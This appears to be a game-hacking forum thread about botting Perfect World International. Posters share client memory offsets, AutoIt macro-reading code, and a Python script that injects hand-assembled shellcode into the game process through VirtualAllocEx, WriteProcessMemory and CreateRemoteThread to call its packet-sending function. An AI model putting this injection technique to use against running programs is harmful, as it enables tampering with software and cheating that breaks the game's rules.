PWI Eclipse changes

[Stark77]

thank you very much sir

[msxgames]

Check this in Reclass

[sasukezero]

Idk how to fully use Reclass but seems like this shows all or most offsets, even tho idk how to read it all out yet. A little confusing first, but tyvm.

[Stark77]

@jasty: i just saw your offset list again and was wondering what u use this for:

Global $MACRO_ADDRESS_BASE = 0xd57c4e

is it an injection to start ingame macros? looks quite useful if it is.

[jasty]

Originally Posted by Stark77

@jasty: i just saw your offset list again and was wondering what u use this for:

Global $MACRO_ADDRESS_BASE = 0xd57c4e

is it an injection to start ingame macros? looks quite useful if it is.

It's not for starting the macro but points to an array where the macro skill ids are stored. I was using it a while ago for customizing the priority which skills to use when DDing on bosses / aoe grinding across different classes since I didn't want to write my own skill selection UI / ini files but haven't used it recently.

Here's some code for that which picks the first skill in a macro not in CD:

Func MacroArray($macro) ;reads skill IDs from a macro 0-7.  -1 = normal attack, -2=repeat
	dim $skills[8]
	for $i=0 to UBound($skills) -1
		$skills[$i] = _MemoryRead($MACRO_ADDRESS_BASE + $macro*17 + $i*2, $GAME_PROCESS, 'short')
	Next
	Return $skills
EndFunc

Func ExecuteMacro($macro)
	$skills = MacroArray($macro)
	CastFirstSkill($skills)
EndFunc

Func CastFirstSkill($skills)
	For $i = 0 To UBound($skills) - 1
		if $skills[$i] > 0 Then
			If CastSkill($skills[$i]) Then Return $skills[$i]
		EndIf
	Next
	Return 0
EndFunc

CastSkill checks the cooldown in the skill pointer before executing. I haven't used this code in a while though so might need to be updated.

I kind of gave up on this when I couldn't figure out a good way to do multithreading in AutoIt to coordinate a whole squad. I'd like to port this code to a nice language like python but the game kept crashing on injection when I tried.

[Stark77]

oh i see. thanks for the fast answer.

atm i just use the sendkey to start macros (depending on the char) to kill bosses with a single script for multiple chars. but this unfreezing that is required is not very neat :P

[sasukezero]

Hey Jasty,
i found something a while ago which is not multithreading but multiprocessing and works pretty well for me.


Maybe it helps you. For me it works perfect in cases of letting different functions running side by side which interact with the client or to start functions multiple times
Only Problem here is that you cannot use global Variables. Solved this by reading offsets and co from a ini file which is my "global point of access".

[Sᴡoosh]

Or you could start using a real language? Not meant offensive, but why the hell do so many people use autoshit on here. It literally sucks in every single comparison that can be made.

Go with C# if you don't like C++, it's as easy as Autoit, and magnitudes more powerful and fast.

[Stark77]

think the reason simply is that many here already have alot of working autoit/ahk scripts and its alot of work to rewrite them :P

[Shareen]

Use SendMessage or PostMessage to get a "command" on Windows message queue, then write a handler for it.

It's not multithreading as we know it, but it should be possible to execute commands asynchronously, which would at least give a better results then synchronous execution.

[sasukezero]

Well everything else i do is in C#,C or C++ but as Stark said, i have working scripts and rewriting them is not really the best time you can spend on ^^

[jasty]

Originally Posted by Sᴡoosh

Or you could start using a real language? Not meant offensive, but why the hell do so many people use autoshit on here. It literally sucks in every single comparison that can be made.

Go with C# if you don't like C++, it's as easy as Autoit, and magnitudes more powerful and fast.

I only use it because the code people share here used it. I hate it in a lot of ways because of the crappy syntax, primitive data types, and lack of multithreading but porting all the low level boiler plate code to a good language is NOT the easiest thing in the world.

I did try to port to python but I hit a dead end with constant game crashes and couldn't figure out what was wrong.

This was my attempt, :-|

import sys
import binascii
import struct
import time
from ctypes import *

# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
INFINITE = 0xFFFFFFFF
kernel32 = windll.kernel32

ADDRESS_BASE = 0xd56b8c
ADDRESS_SENDPACKET = 0x79d330
from ctypes import *
 
#PSAPI.DLL
psapi = windll.psapi
#Kernel32.DLL
kernel = windll.kernel32
 
def EnumProcesses():
	arr = c_ulong * 256
	lpidProcess= arr()
	cb = sizeof(lpidProcess)
	cbNeeded = c_ulong()
	hModule = c_ulong()
	count = c_ulong()
	modname = c_buffer(30)
	PROCESS_QUERY_INFORMATION = 0x0400
	PROCESS_VM_READ = 0x0010
	
	#Call Enumprocesses to get hold of process id's
	psapi.EnumProcesses(byref(lpidProcess),
						cb,
						byref(cbNeeded))
	
	#Number of processes returned
	nReturned = cbNeeded.value/sizeof(c_ulong())
	
	pidProcess = [i for i in lpidProcess][:nReturned]
	results = {}
	for pid in pidProcess:
		
		#Get handle to the process based on PID
		hProcess = kernel.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									  False, pid)
		if hProcess:
			psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))
			psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))
			
			name = "".join([ i for i in modname if i != '\x00'])
			if len(name) > 0:
				results[name] = results[name]+[int(pid)] if name in results else [int(pid)] 
			
			#-- Clean up
			for i in range(modname._length_):
				modname[i]='\x00'
			
			kernel.CloseHandle(hProcess)
	return results
 
def sendPacket(packet, pid):
	packetSize = len(packet)/2
	
	h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
	if not h_process:
		print "[*] Couldn't acquire a handle to PID: %s" % pid
		sys.exit(0)

	# Allocate some space for the shellcode
	opcode_address = kernel32.VirtualAllocEx(h_process, 0, 0x46, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
	
	# Allocate some space for the shellcode
	packet_address = kernel32.VirtualAllocEx(h_process, 0, packetSize, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
	
	#Construct the OpCode for calling the 'SendPacket' function
	OPcode = '60'								#//PUSHAD
	OPcode += 'B8'+revHex(ADDRESS_SENDPACKET)	#//MOV	 EAX, sendPacketAddress
	OPcode += '8B0D'+revHex(ADDRESS_BASE)	#//MOV	 ECX, DWORD PTR [revBaseAddress]
	OPcode += '8B4920'							#//MOV	 ECX, DWORD PTR [ECX+20]
	OPcode += 'BF'+revHex(packet_address)		#//MOV	 EDI, packetAddress	//src pointer
	OPcode += '6A'+revHex(packetSize,2)			#//PUSH	packetSize		//size
	OPcode += '57'								#//PUSH	EDI
	OPcode += 'FFD0'							#//CALL	EAX
	OPcode += '61'								#//POPAD
	OPcode += 'C3'								#//RET

	opCodeBuffer = binascii.unhexlify(OPcode)
	packetBuffer = binascii.unhexlify(packet)
	
	written = c_int(0)
	kernel32.WriteProcessMemory(h_process, opcode_address, opCodeBuffer, 0x46, byref(written))
	kernel32.WriteProcessMemory(h_process, packet_address, packetBuffer, packetSize, byref(written))
	hThread = c_ulong(0)
	if not kernel32.CreateRemoteThread(h_process,None,0,opcode_address,None,0,byref(hThread)):
		print "Failed to inject"
	result = 0
	#kernel32.WaitForSingleObject(hThread, INFINITE)
	kernel32.CloseHandle(hThread)
	kernel32.VirtualFreeEx(h_process, opcode_address, 0, 0x8000)
	kernel32.VirtualFreeEx(h_process, packet_address, 0, 0x8000)
	kernel32.CloseHandle(h_process)



def revHex(val, size=8):
	if isinstance(val, float):
		return binascii.hexlify(struct.pack("<f", val))
	return binascii.hexlify(struct.pack("<i", val))[:size]
	
	
if __name__ == '__main__':
	results = EnumProcesses()
	pid = results['elementclient.exe'][0]

	time.sleep(4)
	delay = 0.5
	for i in range(5):
		sendPacket('0800', pid)
		time.sleep(delay)

Give me something in C++/Java/python which reads process memory and can inject threads without crashing and I'll use it.

[nashua100]

Does anyone know ,Why 'Normal Move' Crash when running on XP..but running well on Win7

.Autopath,CastSkill,RegulerAttack, running well on XP/Win7.

Thanxzz

[Kruger2001]

someone has the new offsets ?
I have trouble finding the SendPacket address, how it works?
the Offset retriever dont work for me.

I have so far:

realBaseAddress := 0xda433c
PlayerClass_Offset := 0x6f8
playerNameOffset := 0x6f4

[Stark77]

so far i only saw that those changed:

realBaseAddress := 0x00DA433C
SendPacketAddress := 0x007B8970
AutoPathAddress := 0x00457E00
ADDRESS_ACTION1 := 0x004A3860
ADDRESS_ACTION2 := 0x004A9DD0
ADDRESS_ACTION3 := 0x004A3E70
ADDRESS_GATHER := 0x004990F0
CastAddress := 0x00491470
ADDRESS_FOLLOW = 0x4A71C0
partyInviteOffset := 0xDAF2C8

InventoryListOffset := 0x1060
MoveMode_Offset := 0x704
playerActionStructOffset := 0x14C0
SkillsBase_Offset := 0x14EC
SkillsCount_Offset := 0x14F0

+ some gui related or maybe i miss a few more or less unimportant